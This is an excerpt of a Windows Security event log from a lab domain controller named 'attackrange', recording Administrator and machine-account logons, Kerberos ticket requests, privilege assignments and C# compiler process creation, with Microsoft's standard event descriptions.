Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249896 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFEF8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249894 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC66D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFEF8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249892 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFEF8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249891 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249890 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249889 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249888 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFED4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249887 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFED4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249886 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFED4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249885 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249884 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {55BFCD2D-77D7-064B-DC5C-59DE2949546C} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249883 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249882 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEE21D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249881 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEDBBC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249880 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC883 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249957 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2B12 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249956 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF2B12 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64356 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249955 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2B12 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249954 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2AB1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249953 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF2AB1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64355 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249952 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2AB1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249951 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2A4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249950 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF2A4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64354 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249949 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF2A4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249948 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF29EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249947 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xF29EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64353 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249946 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xF29EA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249945 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa50 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES53E9.tmp" "c:\Users\Administrator\AppData\Local\Temp\koejqd22\CSC5E1ABDA669694E2DA0AD64D788879DC0.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249944 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEFF30 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: 